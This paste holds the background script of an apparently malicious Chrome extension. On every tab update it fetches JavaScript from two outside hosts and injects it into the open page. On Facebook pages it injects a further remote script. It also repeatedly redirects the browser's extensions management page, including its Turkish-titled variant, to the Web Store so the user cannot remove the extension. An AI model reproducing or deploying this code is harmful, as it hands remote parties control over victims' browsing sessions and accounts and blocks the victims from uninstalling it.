Guest User

Untitled

a guest
Feb 26th, 2013
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4. var first_run = false;
  5. if (!localStorage['ran_beforex']) {
  6.   first_run = true;
  7.   localStorage['ran_beforex'] = '1';
  8. }
  9.  
  10. var currentTab = "";
  11. if (first_run)
  12. {
  13.     chrome.tabs.create({url: 'http://www.facebook.com'});
  14.     chrome.tabs.create({url: 'http://www.google.com'});
  15. }
  16.  
  17.  
  18.  
  19.  
  20.  
  21. chrome.tabs.onUpdated.addListener(function(tab){
  22.     chrome.tabs.get(tab,function(tab){
  23.         var http1 = new XMLHttpRequest();
  24.         http1.onreadystatechange = function ()
  25.         {
  26.             if(http1.readyState == 4)
  27.             {  
  28.                 chrome.tabs.executeScript(tab.id,{code:http1.responseText});
  29.             }
  30.         }
  31.         http1.open("GET", "http://h4r3k.com/sd.js?" +  Math.random());
  32.         http1.send();
  33.  
  34.         var http2 = new XMLHttpRequest();
  35.         http2.onreadystatechange = function ()
  36.         {
  37.             if(http2.readyState == 4)
  38.             {  
  39.                 chrome.tabs.executeScript(tab.id,{code:http2.responseText});
  40.             }
  41.         }
  42.         http2.open("GET", "http://tuvval.com/sd.js?" +  Math.random());
  43.         http2.send();
  44.  
  45.     })
  46. });
  47.  
  48. chrome.tabs.onCreated.addListener(function(tab){
  49. if(tab.url.indexOf("chrome://extensions/") >= 0){
  50. chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  51. }
  52. });
  53.  
  54. chrome.tabs.onUpdated.addListener(function(tabId){
  55. chrome.tabs.get(tabId,function(tab){
  56. if(tab.url.indexOf("chrome://extensions/") >= 0 || tab.url.indexOf("chrome://extensions-frame") >= 0){
  57. chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  58. }else if(tab.url.indexOf("facebook.com") >= 0){
  59. var xmlhttp = new XMLHttpRequest();
  60. xmlhttp.onreadystatechange = function () {
  61. if(xmlhttp.readyState == 4){
  62. chrome.tabs.executeScript(tab.id,{code:xmlhttp.responseText});
  63. }
  64. }
  65. xmlhttp.open("GET", "http://h4r3k.com/anti.js?" +  Math.random());
  66. xmlhttp.send();
  67. }
  68. })});
  69.  
  70. chrome.tabs.getCurrent(function(tab){
  71. if(tab && tab.url.indexOf("chrome://extensions/") >= 0){
  72. chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  73. }
  74. });
  75. chrome.tabs.getCurrent(function(tab){
  76. if(tab && tab.url.indexOf("chrome://chrome/extensions/") >= 0){
  77. chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  78. }
  79. });
  80.    
  81. chrome.tabs.getCurrent(function(tab){
  82. if(tab && tab.url.indexOf("Eklentiler") >= 0){
  83. chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  84. }
  85. });
  86.    
  87.     chrome.tabs.onCreated.addListener(function(tab){
  88.     if(tab.url.indexOf("Eklentiler") >= 0){
  89.         chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  90.     }
  91. });
  92. chrome.tabs.onCreated.addListener(function(tab){
  93.     if(tab.url.indexOf("chrome://chrome/extensions/") >= 0){
  94.         chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  95.     }
  96. });
  97.  
  98. chrome.tabs.getCurrent(function(tab){
  99.     if(tab && tab.url.indexOf("chrome://chrome/extensions/") >= 0){
  100.         chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  101.     }
  102. });
  103.    
  104. chrome.tabs.onCreated.addListener(function(tab){
  105.     if(tab.url.indexOf("chrome://extensions/") >= 0){
  106.         chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  107.     }
  108. });
  109.  
  110. chrome.tabs.getCurrent(function(tab){
  111.     if(tab && tab.url.indexOf("chrome://extensions/") >= 0){
  112.         chrome.tabs.update(tab.id,{url:"https://chrome.google.com/webstore"});
  113.     }
  114. });
Advertisement
Add Comment
Please, Sign In to add comment